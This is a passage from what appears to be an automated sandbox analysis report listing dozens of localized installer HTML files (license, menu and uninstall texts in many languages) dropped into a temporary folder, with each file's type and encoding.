line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licFR.html]- [targetUID: 00000000-00005524] "licBR.html" has type "HTML document ISO-8859 text with very long lines (356) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licBR.html]- [targetUID: 00000000-00005524] "licFI.html" has type "HTML document ISO-8859 text with very long lines (366) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licFI.html]- [targetUID: 00000000-00005524] "licSR.html" has type "HTML document ISO-8859 text with very long lines (361) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licSR.html]- [targetUID: 00000000-00005524] "licNL.html" has type "HTML document ISO-8859 text with very long lines (386) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licNL.html]- [targetUID: 00000000-00005524] "licIT.html" has type "HTML document ISO-8859 text with very long lines (358) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licIT.html]- [targetUID: 00000000-00005524] "licJP.html" has type "HTML document Non-ISO extended-ASCII text with very long lines (358) with CRLF NEL line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licJP.html]- [targetUID: 00000000-00005524] "licEE.html" has type "HTML document ISO-8859 text with very long lines (347) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licEE.html]- [targetUID: 00000000-00005524] "licTR.html" has type "HTML document ISO-8859 text with very long lines (366) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licTR.html]- [targetUID: 00000000-00005524] "licAR.html" has type "HTML document ISO-8859 text with very long lines (344) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licAR.html]- [targetUID: 00000000-00005524] "licDK.html" has type "HTML document ISO-8859 text with very long lines (352) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licDK.html]- [targetUID: 00000000-00005524] "licNO.html" has type "HTML document ISO-8859 text with very long lines (337) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licNO.html]- [targetUID: 00000000-00005524] "licEN.html" has type "HTML document ASCII text with very long lines (341) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licEN.html]- [targetUID: 00000000-00005524] "licKR.html" has type "HTML document ISO-8859 text with very long lines (336) with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licKR.html]- [targetUID: 00000000-00005524] "licCNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licCNTR.html]- [targetUID: 00000000-00005524] "licCN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\licCN.html]- [targetUID: 00000000-00005524] "Menu7Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1GR.html]- [targetUID: 00000000-00005524] "Menu7Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1PH.html]- [targetUID: 00000000-00005524] "Menu7Text1CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1CA.html]- [targetUID: 00000000-00005524] "Menu7Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1CZ.html]- [targetUID: 00000000-00005524] "Menu7Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1HU.html]- [targetUID: 00000000-00005524] "Menu7Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1SK.html]- [targetUID: 00000000-00005524] "Menu7Text1MK.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1MK.html]- [targetUID: 00000000-00005524] "Menu7Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1TR.html]- [targetUID: 00000000-00005524] "Menu7Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1BG.html]- [targetUID: 00000000-00005524] "Menu7Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1MY.html]- [targetUID: 00000000-00005524] "Menu7Text1SR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1SR.html]- [targetUID: 00000000-00005524] "Menu7Text1BA.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1BA.html]- [targetUID: 00000000-00005524] "Menu7Text1RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1RO.html]- [targetUID: 00000000-00005524] "Menu7Text1SRCR.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1SRCR.html]- [targetUID: 00000000-00005524] "Menu7Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1PL.html]- [targetUID: 00000000-00005524] "Menu7Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1LT.html]- [targetUID: 00000000-00005524] "Menu7Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1AR.html]- [targetUID: 00000000-00005524] "Menu7Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1ID.html]- [targetUID: 00000000-00005524] "Menu7Text1UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1UA.html]- [targetUID: 00000000-00005524] "Menu7Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1SI.html]- [targetUID: 00000000-00005524] "Menu7Text1EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1EE.html]- [targetUID: 00000000-00005524] "Menu7Text1HR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1HR.html]- [targetUID: 00000000-00005524] "Menu7Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1BY.html]- [targetUID: 00000000-00005524] "Menu7Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1LV.html]- [targetUID: 00000000-00005524] "Menu7Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1RU.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1PL.html]- [targetUID: 00000000-00005524] "Menu7Text1FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1FI.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1LV.html]- [targetUID: 00000000-00005524] "Menu7Text1DE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1DE.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1GR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1PH.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1TR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1CA.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1MY.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1MK.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1MK.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1LT.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1ID.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1BG.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1SK.html]- [targetUID: 00000000-00005524] "Menu7Text1FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1FR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1HU.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1RU.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1UA.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1CZ.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1BY.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1EE.html]- [targetUID: 00000000-00005524] "Menu7Text1NL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1NL.html]- [targetUID: 00000000-00005524] "Menu7Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1JP.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1RO.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1HR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1HR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1JP.html]- [targetUID: 00000000-00005524] "Menu7Text1ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1ES.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1BA.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1BA.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1FI.html]- [targetUID: 00000000-00005524] "Menu7Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1KR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1SRCR.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1SRCR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1SR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1SR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1SI.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1AR.html]- [targetUID: 00000000-00005524] "Menu7Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1BR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1KR.html]- [targetUID: 00000000-00005524] "Menu7Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1SE.html]- [targetUID: 00000000-00005524] "Menu7Text1IT.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1IT.html]- [targetUID: 00000000-00005524] "Menu7Text1DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1DK.html]- [targetUID: 00000000-00005524] "Menu7Text1NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1NO.html]- [targetUID: 00000000-00005524] "Menu7Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1EN.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1GR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1DE.html" has type "HTML document Unicode text UTF-8 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1DE.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1PH.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1BG.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1MK.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1MK.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1CA.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1FI.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1NL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1NL.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1FR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1ES.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1RO.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1BR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1IT.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1IT.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1BY.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1NO.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1ID.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1UA.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1HU.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1PL.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1BA.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1BA.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1TR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF NEL line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1JP.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1SE.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1DK.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1RU.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1MY.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1CZ.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1SK.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1HR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1HR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1SI.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1LV.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1SRCR.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1SRCR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1SR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1SR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1EN.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1EE.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1AR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1LT.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1CNTR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1DE.html" has type "HTML document Unicode text UTF-8 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1DE.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1KR.html]- [targetUID: 00000000-00005524] "UnistallMenu3Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu3Text1CN.html]- [targetUID: 00000000-00005524] "Menu1Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1GR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1FR.html]- [targetUID: 00000000-00005524] "Menu7Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1CNTR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1IT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1IT.html]- [targetUID: 00000000-00005524] "Menu7Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu7Text1CN.html]- [targetUID: 00000000-00005524] "Menu1Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1PH.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1ES.html]- [targetUID: 00000000-00005524] "Menu1Text1IT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1IT.html]- [targetUID: 00000000-00005524] "Menu1Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1CZ.html]- [targetUID: 00000000-00005524] "Menu1Text1MK.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1MK.html]- [targetUID: 00000000-00005524] "Menu1Text1FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1FR.html]- [targetUID: 00000000-00005524] "Menu1Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF NEL line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1JP.html]- [targetUID: 00000000-00005524] "Menu1Text1NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1NO.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1BR.html]- [targetUID: 00000000-00005524] "Menu1Text1SR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1SR.html]- [targetUID: 00000000-00005524] "Menu1Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1BG.html]- [targetUID: 00000000-00005524] "Menu1Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1SK.html]- [targetUID: 00000000-00005524] "Menu1Text1DK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1DK.html]- [targetUID: 00000000-00005524] "Menu1Text1NL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1NL.html]- [targetUID: 00000000-00005524] "Menu1Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1SE.html]- [targetUID: 00000000-00005524] "Menu1Text1RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1RO.html]- [targetUID: 00000000-00005524] "Menu1Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1RU.html]- [targetUID: 00000000-00005524] "Menu1Text1HR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1HR.html]- [targetUID: 00000000-00005524] "Menu1Text1CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1CA.html]- [targetUID: 00000000-00005524] "Menu1Text1ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1ES.html]- [targetUID: 00000000-00005524] "Menu1Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1LV.html]- [targetUID: 00000000-00005524] "Menu1Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1BY.html]- [targetUID: 00000000-00005524] "Menu1Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1SI.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1NO.html]- [targetUID: 00000000-00005524] "Menu1Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1ID.html]- [targetUID: 00000000-00005524] "Menu1Text1SRCR.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1SRCR.html]- [targetUID: 00000000-00005524] "Menu1Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1BR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1EN.html]- [targetUID: 00000000-00005524] "Menu1Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1HU.html]- [targetUID: 00000000-00005524] "Menu1Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1MY.html]- [targetUID: 00000000-00005524] "Menu1Text1UA.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1UA.html]- [targetUID: 00000000-00005524] "Menu1Text1BA.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1BA.html]- [targetUID: 00000000-00005524] 